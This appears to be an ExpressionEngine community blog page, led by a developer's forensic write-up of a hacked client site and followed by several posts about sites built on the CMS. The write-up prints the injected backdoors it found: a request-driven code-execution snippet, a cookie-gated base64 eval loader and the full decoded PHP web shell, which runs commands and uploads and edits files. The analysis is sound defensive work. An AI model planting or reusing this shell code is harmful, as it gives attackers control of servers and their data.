Anatomy of a Compromise

It started with a short email.

Hi Eric: I just went to log in and this is what I am seeing.

Plus, after I typed in my user/pass I immediately received the below email:

–email– ExpressionEngine has detected the modification of a core file on: http://www.site.com/

The following files are affected: /var/www/site.com/htdocs/index.php If you made these changes, please accept the modifications on the control panel homepage. If you did not alter these files it may indicate a hacking attempt. Check the files for any suspicious contents (JavaScript or iFrames) and contact ExpressionEngine support: http://expressionengine.com/forums/viewforum/105/

Please review the support policy before posting to the forums: http://expressionengine.com/support/support_policy/

Weird. I’m supposed to be on hiatus from client work for a few months so this must definitely be a real issue if the client’s going to pull me from my slumber.

“Crap.”

Thinking about it I realized that this was for an ExpressionEngine site I built years ago with the client who refused to pay to upgrade. I remember this one. Nice site. Proud site. The one that caused the spark of an idea for CT Admin now that I think about it.

“Ah, things are starting to come together here. Old site. No upgrades. Security warning about a modified file and PHP errors I’ve never seen before in an ExpressionEngine site… I know what to do.”

First Things First

The very first thing I always do whenever I receive an email or note similar to the above. Check. The. Site. Are we still up? Are the users in immediate danger from malicious code injection?

“Ok, let’s see what we have here…”

Looking into the front site showed that it was still up and kicking with no noticeable issue whatsoever. No delays, no missing pages, no random errors. Nothing out of the ordinary.

“Weird. Everything looks aces. Of course, this means nothing.”

Next up, I do a cursory check of the HTML source on the front site. Why? To protect the users from malicious JavaScript ASAP. Are there any scripts, anywhere, that don’t belong? This is where knowing the coding style of your team really comes into play. Speed is important so there’s no time to actually read and understand all the code and what it’s doing. We’re not ready for that investment just yet.

“Does this script look like Caroline wrote it?”

I’ve worked with Caroline for years so I’m very familiar with how she names her variables and objects, how she does closures and function calls, how she indents rather than uses spaces, or that quirky way there’s always that one line that’s indented and has spaces from when she was bug hunting.

“Lame. Nothing here either. Users are cool though so at least there’s that.”

Time To Get Paid

Once I ensure the site’s up and the users aren’t in any immediate danger the next thing I do is look into the files mentioned. First though, many may be asking why I didn’t do that first. It would have made sense; I can’t argue with the logic. The errors really would tell me exactly where something may have gone wrong.

Short answer is experience (I’ve been burned not checking on users). The story so far tells me there’s a likelihood of a compromise or even straight hacking going on but no confirmation one way or the other (bad code is far more likely after all). Besides, the errors and modifications aren’t going anywhere but the site has traffic coming to it in real time. It could be ruinous to a client if the users get compromised just from visiting the site so the users have to be the #1 priority when investigating compromised properties. Once the front site is confirmed safe then, and only then, triage can begin.

But, why not just pull the site then? Take it offline and dig into things in the safety of a controlled environment. Better safe than sorry after all. And if the site showed any signs of JavaScript injection or malicious anything, that’s exactly what I would have done. But with no evidence otherwise, there didn’t seem to be a need for such a drastic, scorch the earth, approach at that point.

So, I check the file mentioned. The config.php file had an immediate error message so I start there (path of least resistance and all).

Opening the file, this is what I see (cleaned up for readability):

$bNo6=${'_REQU'.'EST'}; 
if (!empty($bNo6['jgt'])) {             
    $Jtl = $bNo6['C6u'];            
    $rny=$bNo6['jgt']($Jtl($bNo6['yXc']),$Jtl($bNo6['cvIsv']));
    $rny($Jtl($bNo6['FuVt']));       
}  
if ( ! defined('BASEPATH')) exit('No direct script access allowed');

/*
|--------------------------------------------------------------------------
| ExpressionEngine Config Items
|--------------------------------------------------------------------------
|
| The following items are for use with ExpressionEngine.  The rest of
| the config items are for use with CodeIgniter.
|
*/

Well that’s about as clear cut case of a compromise as I’ve ever seen. Someone definitely got in and is doing something they don’t want to be obvious. But what’s the endgame?

If it’s not obvious, the above code is exceptionally insidious. It allows arbitrary code execution based on the availability of a specific REQUEST variable and it’s values (cookies most likely). What’s so insidious about this is how simple it is to execute code once the initial payload is on the server. Just change the cookie to include available PHP function names and parameters and refresh the page. Simple and effective.

But, again, what’s the endgame?

Before I can even start thinking about answering that question though I need to pull the site immediately. (I find matter-of-fact, tough love, approach to be required in these situations. NEVER make it an option for anyone ever.)

“We’re going offline people. Deal with it.”

Essentially, at this stage, I want to accomplish two things.

One, is protect the client from themselves. Their site is up and, likely, they won’t appreciate being taken offline. I’ve found “I don’t care” is an appropriate attitude when they give grief on this point.

The other reason is I need to get a snapshot of the property for investigation. I need to determine which files were modified, what the purpose for the modification was, when the modification occurred, and how the modification occurred. At this stage, it’s that last question that’s the most crucial for overall peace of mind but also impossible to answer without the other questions being answered first.

So, I pull the site for investigation (essentially, just running tar on the containing directory suffices in keeping time stamps intact) and take it offline from the web (htaccess magic and a static index.html “we’re down for maintenance” page).

I Need My Pipe and Deerstalker Stat!

With the snapshot in hand, now’s the time to dig into the code. At this point I don’t want to hook it up to a vhost for browser execution; not knowing what’s going on with the code could be dangerous. No, right now I just want to read the code and visually scan for issues.

But where to start? ExpressionEngine is a huge codebase with thousands of files. Thankfully, in this situation I’ve confirmed the config file was compromised so that’s where I start. I check the last modified time stamp on the file and see it was last modified on September 6th at 4:35PM. That’s my baseline.

So I do a find on the codebase for all files that were modified within 90 minutes, give or take, of that time. Why the margin for error? Because at this stage I still don’t know the how or who of the compromise. Could be a script kiddie, using automated tools, or it could be an actual person trying to take my client down while personally pecking away on their keyboard in real time. The margin is to account for both possibilities.

Running the command yields 3 files modified around that time:

expressionengine/config/config.php
expressionengine/config/database.php
./index.php

The database.php file had the exact same code injected at the top as the config.php file so there was nothing new gleaned there. But the index.php file was a wealth of insight. Here’s what I found:

if(isset($_COOKIE['ugnnsk']) || isset($HTTP_COOKIE_VARS['ugnnsk'])) { 
$ugnnsk=str_replace('ugnnsk','','ugnnskICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl
ogIEBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVz
aXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEB
(snip 1000 lines of base64 encoded code)
3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4
oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQ
G9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cyg
pOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9I
EBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB
7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJ
HJlczsNCgl9DQo='); 
eval(base64_decode($ugnnsk)); 
exit(); 
} 
/**
 * ExpressionEngine - by EllisLab
 *
 * @package     ExpressionEngine
 * @author      ExpressionEngine Dev Team
 * @copyright   Copyright (c) 2003 - 2011, EllisLab, Inc.
 * @license     http://expressionengine.com/user_guide/license.html
 * @link        http://expressionengine.com
 * @since       Version 2.0
 */

I’ve removed quite a bit of the code for sanity but there it is. The hack payload in all it’s truncated and missing 1000 lines of base64 crud glory, injected into the top of the ExpressionEngine index.php script. So, what’s it doing? What’s the point?

It’s actually pretty clever really. The exploit checks for a cookie, even taking PHP4 into account (which is a HUGE clue for later explanation actually), compiles the base64 string into PHP code and executes something using the eval() function. If the cookie is found that is. For everyone else, every other visitor to the site, they won’t notice anything wrong or out of the ordinary. Had EllisLab not included the core file modification alert into ExpressionEngine’s core we never would have been the wiser until a change order from the client came in. So, thanks for that guys.

But what’s the code that gets executed and compiled? That base64 nonsense. The best way to find that out is to decode it and see what gets outputted. This being base64 it’s incredibly simple using either straight PHP or online tools. After decoding the base64 code this is what I received:

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5') 
    exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) 
    eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) 
        && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit\n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
    if ($os=='win')
    {

      $cmd = "dir ".str_replace("/","\\",$cd);
      $retval = magic_execute($cmd);
    }
    else
    {
      $cmd = "ls -la \"$cd\"";
      $retval = magic_execute($cmd);
    }
}

if (empty($retval))
{
    $dir=$cd;
    if($curdir = @opendir($dir)) {
    while($file = readdir($curdir)) {
      if($file != '.' && $file != '..') {
        $srcfile = $dir . '/' . $file;
        if(is_file($srcfile)) {
            if ($os=='win'?can_write($srcfile):is_writable($srcfile)) 
                $retval .= "++ ".$file."\n";
            else $retval .= "-- ".$file."\n";
        } elseif(is_dir($srcfile)) {
            if ($os=='win'?can_write($srcfile):is_writable($srcfile)) 
                $retval .= "d+ ".$file."\n";
            else $retval .= "d- ".$file."\n";
        }
      }
    }
    closedir($curdir);
    } else $retval = "Cant open directory\n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
    $uids  = @posix_getlogin();
    $euids = @posix_getlogin();
    $uid   = @posix_getuid();
    $euid  = @posix_geteuid();
    $gid   = @posix_getgid();
    if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}

//HTML FORM REMOVED FOR SANITY

exit();


function can_write($file) {
    if(file_exists($file)){
        if (is_file($file)) {
            $f=@fopen($file,"a+");
            if($f){
                fclose($f);return true;
            }
        }elseif (is_dir($file)) {
            if ($file[strlen($file)-1]!='/') 
                $file.='/';$tfile = $file."testxxxtest";

            if (@touch($tfile)){
                unlink($tfile);
                return true;
            }
        }
    }
    return false;
}

function magic_execute($cmd)
{
    $res=false;
    if (function_exists('exec'))
    {
        @exec($cmd,$res);
        $res = join("\n",$res);
    }
    else
    if (function_exists('shell_exec'))
        $res = @shell_exec($cmd);
    else
    if (function_exists('system'))
    {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    }
    else
    if(function_exists('passthru'))
    {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    }
    else
    if (@is_resource($f = @popen($cmd,"r")))
    {
        $res = "";
        while(!@feof($f)) { $res .= @fread($f,1024); }
        @pclose($f);
    }
    return $res;
}

Excellent! A backdoor to the server! An old one too; I’ve seen this before actually. Years and years and years ago. Lame. This is, clearly, not as interesting as I had thought.

So, the exploit as it stands at this point is on 2 vectors: the arbitrary code execution in config.php and database.php and the base64’d backdoor script found in index.php that gets passed to eval(). The backdoor is basically a simple form, which also allows code execution, but a whole lot more too. You can upload files, modify files, do all sorts of evil if you’re so inclined.

Ssshhh… Just Let the Eyes Glaze Over…

Now that we know the “what” we need to determine the “how”. How did this evil get onto the server in the first place. We will not go live until we know the initial hole is plugged or else we run the very likely risk of repeating things. So no rest yet.

This being an old install of ExpressionEngine my initial instinct was to look at EE itself. Thus, I need to hit up the Apache logs and find out what happened, and from where, around the time of the config.php file changes (September 6th at 4:35PM). This is where the tedious pain starts.

This was a fairly popular site so the logs were simply enormous. Even gzipped the logs came in at 30MB which meant they were 600MB raw. And I had to go through them line by line looking for anything that stood out as a problem. Which obviously begs the question: what’s a problem?

When it comes to Apache log investigation, POST requests are the likely clue that points to a problem. Yes, GET requests can be a problem too, but when doing the initial investigation I find focusing on POST requests cuts down on the pain considerably since pretty much everything that would allow compromise would be done through a form (POST request). Save the GET requests as a last resort if nothing else can be found.

I also pay attention to the IP addresses for the requests. I don’t have them memorized or anything like that but when scanning a log file I run traces on the IPs I find and try to discern any weirdness among them. For example, a restaurant site based in California getting tons of Control Panel POST requests from China would be suspicious and worth investigating. Conversely, finding the known authorized IP addresses is just as important to remove any false positives.

Make no mistake, this is grueling and time consuming work. It can feel like it’s going on forever and there’s no end in sight. It really depends on the amount of logs to pour through and how many requests there are. It hurts. A lot.

Eventually though, guaranteed, the fog will lift and patterns will start to emerge. In my case, when the fog did lift, the evidence was troubling. I could find zero evidence that ExpressionEngine was at fault or even a little bit to blame. Nothing. Instead, what I saw was that requests for our time range, checking both POST and GET requests, were all authentic with nothing at all suspicious outside of the time they occurred.

Worse, I could find no evidence of any requests to the compromised functionality. It turns out the backdoor was either never used or, if it was, the person responsible did one hell of a clean up job (something that would require a skill set and attention to detail that has been lacking from all evidence till now).

Not that I wanted ExpressionEngine to be the hole. But if it was, plugging it would have been trivial. Upgrade EE, turn the site back on, and go hit happy hour. Not now though. Now it has to be kicked up a couple levels to other people and departments with additional care taken all over the place.

The Grimm Ending

Knowing ExpressionEngine wasn’t the entry point meant restoring the site from Git was on the table. Easy enough really. Unfortunately, not having a resolution calls the entire infrastructure the site lived on into question. We can’t host on that server anymore. Moving the site to a new server and vhost LAMP package got the client back up and running with little pain (in the move) and left us with confidence that the exploit wouldn’t return. For good measure, we’re trying to convince the client to upgrade their ExpressionEngine.

Still, how’d the exploit get in? Who, or what, was responsible? These are big questions that’ll take some time to figure out 100%. But that’s the nature of the beast. Sometimes it’s easy and others it’s just a waiting game requiring patience.

I do feel confident saying that this wasn’t a targeted attack. It has all the feelings of a script kiddie, or at the least, an automated attack with no sense of pride or craftsmanship to it.

First, there’s the backdoor script. Very old school. It takes into account PHP 3 and is clearly copy/pasted from elsewhere. Even doing a search on the md5 string 79a248de1b0101cbfb4d1a7a60f6d4a5 found in the code turns up a StackOverflow question from over a year ago with the exact script.

Second, there is no evidence the backdoor has ever been accessed. At no point, before or after the exploit was put in place, do the logs show any activity. And if the hacker was savvy enough to remove their tracks, why use such a shoddy script for shell access in the first place? Creating something custom would be fairly trivial for those in the know while using the script used must be painful. Regardless, if it was a person sitting in front of a keyboard, they’d at the least verify they were successful in the exploit.

Third, and this is most troubling, the only access to the site that has anything even remotely suspicious looking during the time line came from the client’s network (IP address range). The implications of this are pretty scary; it’s entirely possible their network, or at the least a computer on their network, has a virus which compromised their site. Totally guessing, but that’s where my instincts take me once I consider the log data.

The other scenario, of course, is a breach of the server the site was living on. I don’t give that much credence though, mostly because of the style of exploit implemented. Again, if one has the savvy to execute a system level attack, why bother with placing the exploit in ExpressionEngine at all? But the only way to really know this 100% is to have the sysadmins do their magic and look over all the system logs.

But this is how most compromised site investigations run in my experience. Sometimes you have an answer extremely early in the process (aha! WORDPRESS!!) and other times you have to wait a good while before you know what’s going on. The important thing is to stay on top of it until you have a complete and total answer. Don’t half ass this.

Come see me talk more about security at upcoming ExpressionEngine Conference in Portland on October 14th & 15th.

EE in the Wild: Real Time Genomics

Bold, a studio based in central coast California (which would, perhaps, also be referred to as “paradise”) recently launched a new ExpressionEngine-powered website for Real Time Genomics, a genome analytics company.

From Bold’s portfolio:

Amazing wouldn’t be a strong enough word to describe what Real Time Genomics is doing. They are on the forefront of analyzing raw data for leading biological researchers. When they approached Bold about bringing their website up to par with their work, we jumped at the opportunity. RTG had a complete skeleton for a site and we dove in to produce new wireframes, design and ultimately a finished site powered by our favorite CMS, ExpressionEngine. We’re super proud with how this one turned out.

Read about the project or visit the live site.

EE in the Wild: StevieSnacks

I’ve been a lurking fan of this site for a while now. StevieSnacks is run by Anthony Stauffer and offers free and paid courses on blues guitar playing. It is, of course, named in honor of the late, great Stevie Ray Vaughan.

The site appeals to me for several reasons beyond the fact that it runs ExpressionEngine. I like seeing how people teach something I don’t know (I’m not a guitar player), I enjoy researching other paid training business models, and I like to see how those training courses are produced (Anthony has high production values for his videos).

According to this tweet, StevieSnacks runs on using Pixel & Tonic add-ons.

Want to learn blues guitar Texas style? Check out StevieSnacks.

EE in the Wild: Reywa Fibers

Recently launched Reywa Fibers (by Kevin Barr at Burst Creative) is a responsive design implementation to support the yarn products made from yak down.

Reya, which means “hope” in Tibetan, is a “small, family run business with roots that run deep on the Tibeta Plateau of China.”

Visit the Site

Canada & ExpressionEngine

The silence here isn’t because I don’t care about you anymore. Oh, quite the contrary. Things slowed down because I was traveling the last 8 days in Toronto and teaching two ExpressionEngine classes to a group of enthusiastic web developers.

Teaching ExpressionEngine and seeing how people new to the CMS positively react to it and what it can do reminded me that a lot of what we take for granted day in and day out is still a big deal. At the end of the day ExpressionEngine solves problems for people creating websites. It’s always good to be reminded of that.

While in Toronto I was able to take in some local sights and food (and beer). I also had the good fortune of attending the local Toronto-ee meetup. They kindly arranged it close to my hotel and we spent a couple of hours sharing stories, drinking beer and eating food. Usually EECI is the only time I get to see other EE people (that don’t live here in Austin), so this was a real treat.

Thanks to Sean Smith for organizing it and for everyone who attended.

EE in the Wild: Mark Simonson Studio

Friend and supporter of the site Vector Media Group recently helped build the back-end for the gorgeous Mark Simonson Studio website.

You probably know Mark’s font work. Proxima Nova, anyone?

Built on ExpressionEngine, of course, Mark’s new site was designed by my local pals Trent, Reagan and Dave at Paravel.

Really, really nice!

Overview of EE’s Best Tricks

Jeremy Girard wrote a nice overview of EE’s best tricks in his blog post on how EE makes it easy to update your website.

At Envision, we have selected ExpressionEngine as our CMS of choice. We selected this platform for a number of reasons - one of which is the ease of use for our clients when they need to maintain their own content. Here’s a look at how easy it can be to manage website content when you have the correct tools at your disposal:

Read the whole thing to learn about the features Envision likes best about ExpressionEngine.

Embeddable Comments for ExpressionEngine

My friends at A List Apart recently launched a site redesign and as part of the new ALA they added embeddable comments. Embeddable comments? Yes. It’s like embedded tweets but for comments.

Here’s a blog post on ALA as an example. Scroll down to the comments and see the small Embed buttons. Click it and you get a code snippet that lets you embed the comment elsewhere, like this:

The ALA team is now making this code available so anyone can use it. You can also see a an example of how to use this with ExpressionEngine comments (which is what ALA runs).

Very nice!

EE in the Wild: Montana CDC

Six Pony Hitch launched a great responsive ExpressionEngine site for Montana CDC. We had a chance to catch up with Michael Zens, Interactive Director for Six Pony Hitch, to learn more about what went in to this site.

What process did you go through when rebranding and redeveloping the Montana CDC site?

Recently we completed a full rebranding of the Montana CDC website to better reflect the changing nature of the organization. We focused on highlighting inspiring client stories to tell the story of their services and used clean design, icons, and infographics to communicate the specifics of this non-profit lending organization. We also optimized the site for mobile devices using responsive design so that users on any platform will have a great experience with the site.

What features of ExpressionEngine made you feel this was the right tool for the job?

We love EE and feel it is a great fit for most projects. The customized content channels allow us to collect data in a user friendly way but still create pixel perfect front-end templates. And the built-in features and add-ons available for EE make any project easier.

Which add-ons were a must on this project?

Some of the add-ons we used were: Stash, Switchee, Ress, Freeform Pro, User, Freebie.

I enjoy the clean design, focused on photography and story telling. Thanks to Michael for giving us some insight on the site.

If you have a site you’d like us to feature, contact kyle@eeinsider.com

Blue Fish Design Studio New Site

Long time member of the ExpressionEngine community, Marcus Neto, launched his redesigned business site: Blue Fish Design Studio. This responsive site, powered by ExpressionEngine, does a great job of showcasing Marcus’ skills.

I’ve always enjoyed the branding of the site, and this latest design iteration is great. Nice work Marcus!

Mumford & Sons Site Running ExpressionEngine

Every web person I’ve come in contact with enjoys some Mumford & Sons. Perhaps that’s a stereotype of being a web worker, but regardless, I enjoy them.

So, it was nice to find out that the Mumford & Sons website is powered by ExpressionEngine!

6 New EE Sites, and it’s Only Tuesday!

This week appears to be the week of site launches:

• Conflux Group launched Chapel.org.
• Clearbold launched American Science & Engineering.
• Jason Siffring launched Tyco.
• BuroDMG launched High Quality (in collaboration with Steven Langbroek).
• Spark Creative launched Hampton Coffee Company.
• Mark Busnelli Jr. launched Anves.

All this has gone live and it’s only Tuesday! Keep up the awesome!

Evernote Trunk Powered by ExpressionEngine

The Outfit worked on the recently re-launched Evernote Trunk and, you guessed it, it is powered by ExpressionEngine.

We redesigned and rebuilt Evernote’s app library, The Trunk, in just over two months — complete with beautiful custom graphics, cutting-edge front-end development techniques, and a content management system that makes a complex set of data easy to update and maintain.

Read their case study on the project Looks amazing!

EE in the Wild: Jackass Letters

Last week I received a mention on Twitter that thanked this site for the motivation to upgrade their site to the latest version of ExpressionEngine. I hadn’t heard of the site before and was intrigued. It’s called Jackass Letters. Written and run by Christopher L. Jorgensen, Jackass Letters (JL) archives letters Christopher writes to companies and notable people and also posts the replies he gets.

Here’s the idea in a nut:

Jackass Letters is dedicated to examining correspondence with real people and companies. It is equal parts spoof, satire, parody and criticism. New letters are generally published once a week.

Is my motivation greed? Am I just clamoring after free stuff? No. Free stuff is cool, but I enjoy the process, enjoy the responses more than any of the swag. Daily I made the trip to my mail box only to see it stuffed with junk mail and bills. Now I look forward to getting mail again!

I started clicking around the site, reading letters, laughing and generally amusing myself with the responses from some of the companies Christopher contacted. JL is a utilitarian site that is solely focused on publishing letters and the replies.

You could see this as a meaningless endeavor. I could understand why. I see it as a fun experiment that captures a snapshot of the corporate culture and humor of some of the biggest names in the world. From Best Buy to Budweiser, Apple to the AARP, and Nike to Nissan, Christopher has written dozens and dozens of letters and eagerly awaited a response. He’s reviving the dying art of writing a letter.

I asked Christopher if he would do an interview with EE Insider so we can learn more about the site.

EE Insider: When did you start the site?

Christopher Jorgensen: I started the site in 2008. Originally the idea was to see if I could just get free stuff from companies just by asking. The first company I wrote was Apple. The reply that came back irritated me. It was boring boilerplate marketing and made no mention of anything I’d written in my letter. It was basic facts any Apple fan would already know. So I wrote them back and complained about the reply and they sent me a pen.

At this point I realized I enjoyed the letter writing more than the free pen and Jackass Letters was born.

In college my roommate and I wrote a few letters to companies complaining about things like insect infestation in our boxed potatoes, but it never occurred to me to make those letters public. (This was before most companies had websites. ‘92 or so.)

EEI: Why did you choose ExpressionEngine for this site?

CJ: My first dynamic site was a blog run on a used Apple G3 iMac in my basement using a version of pMachine. When EE came out I migrated to it with a new project.

I’ve used other CMSes, but I am a dabbler, so attacking another learning curve is not something I get excited about. Even going from EE 1.x to EE 2 was a major task for me. I doubt I would have done it if I wasn’t also interested in doing a redesign. I’ve used Wordpress, Joomla, and a couple of others, but have seldom been tempted to switch to something other than EE.

EEI: Wow, so you’re a senior member of the community. Are you using any add-ons or special configurations with the site?

CJ: I’m running a pretty much out of the box installation. I used the first third of your book ExpressionEngine 2: A Quick-Start Guide to get going, but once I felt like I knew enough to do what I wanted I just dove in!

I have an amazing amount of “Advanced Conditionals” set up to deliver different content depending on the URL structure. I have about a dozen templates running the entire site and this counts my site map and RSS feed.

There are a lot of plugins I would love to have, but the site costs me about $600 a year to run. I spend about $150 a year in postage alone! Maybe if the site ever makes money I’ll consider adding some more bells, but I often take the hard way to save a little money (like manually creating my site map template and hand rolling my .htaccess).

EEI: Do you accept donations for postage?

CJ: I do accept postage donations. I also accept donations to my legal defense fund, to the illustrator charity fund, and to the girlfriend/editor/typist dinner fund. (I don’t really have a legal defense fund.)

I couldn’t do my site without the help of others.

Jackass Letters hasn’t gotten me sued yet, but one of my letters got me set up with a lawyer. He gives me advice from time to time when I have questions about whether I can legally put something online. I don’t always listen to him, but he makes it so the girlfriend can sleep at night.

I also have a great illustrator who works with me because he likes to be part of what I do. He’s named Anthony Imperioli. I make donations to his favorite charity rather than actually paying him.

EEI: What’s your favorite thing about ExpressionEngine?

CJ: The flexibility. One of the things I’ve recently started to do is to try to use my own content more efficiently. I’ve started writing my letters directly within EE. I created a print template only a logged in Admin can see. I print the letter, set a future post date in EE for 3 months out, then if it’s answered I move it to the main channel. If not it posts to the Unanswered channel.

I plan a video/podcast shortly and intend to do that within EE. If I can imagine the page there seems to be a way to do it. I’m still learning, and I am intimidated by all the things the design pros do with EE. I do all my own templates and CSS and such, but I am not a programmer. Yet I still manage!

EEI: Is there anything that you’d change about ExpressionEngine?

CJ: I would love the ability to autoupdate. For someone like me that is more focused on the content side the actual maintenance of the site can get in the way. If the database backed up and the site stayed up to date, I could let it get out of my way and just produce!

I’ve often thought there should be either first party or third party templates, but for some reason these haven’t caught on for EE. It would be nice to do a “Newspaper” install or select “Web comic” or one of dozens of design options; blog, store, magazine, etc.

EEI: Are you working on anything cool for the site?

CJ: One of the things I am currently working on is a script that will pull all the content of an EE category and cURL the contents into a directory, then zip it up as an ePub and rename it. I have it working fairly well for text only posts at this point.

My first test will be to create an ePub of all the content at jackassletters.com/unanswered.

I still have another 100+ letters to input there before I can pull them all back out, but this still beats doing all that formatting by hand. I want this to eventually be a cron job that fires off daily and creates an ePub of “The Worst of Jackass Letters” or “The Best of” or whatever.

I have a lot of plans for books this year. I am currently writing all the Governors & Premiers in the US and Canada. I also have a woman in Malaysia writing letters on my behalf to companies she likes interacting with. I am outsourcing my labor for a book I am going to call “Jackass Letters: Outsourced.”

We’ll see how long it takes me to do this. I feel like I am close to getting “Unanswered” finished.

If someone made an add on that easily allowed for ePub creation I’d buy that in a heartbeat. It’s not as easy as you might think though.

EE in the Wild: Walkiees and Gallery System

Two sites recently launched on ExpressionEngine that I want to tell you about. The first is a site for locating dog walks in the UK.

It’s called Walkiees and was built by an officer in the UK Border Agency. He previously had no web development experience but learned as much as he could about EE and just went for it. He wrote about the site in the EE Forums:

A buddy of mine, who is a web designer, said that they had recently switched all their site builds to EE, and that I should look into it.

I started consuming as much tutorials, podcasts and information as I could. […] I’ve never touched EE before, and I had VERY limited knowledge of HTML/CSS, but with the great support that I received here, Solspace, gwcode, and many many more support forums, I finally managed to get the site ready for its initial launch.

The site uses Solspace User and Favorites, Navee, SEO Lite, CP Analytics Settings, Accessible Captcha and more. Read the forum post for all the details.

He also notes:

I doubt very much that I have put the site together in the most efficient way, and its somewhat simplistic at the moment, but I think I have a good base to keep working and developing on.

Well, that’s how everyone starts. My first site is an embarrassment. Hell, there are things on this site that I wince at. Welcome to ExpressioneEngine and congrats on the launch!

The second site is Gallery System, a site that sells picture hanging systems. The site was developed by Versa Studio. In a forum post they listed the following add-ons in use: Structure, Wygwam and Matrix. UltraCart powers the e-commerce part of the site.

Interestingly, this site was originally done in EE1 but completely rebuilt in EE2. From the forum post:

The site was a from-scratch rebuilding of the previous EE1 site. Since we were changing a lot of information, we found it easier to start fresh than try to adapt what we had, especially since we switched to Structure for the new site.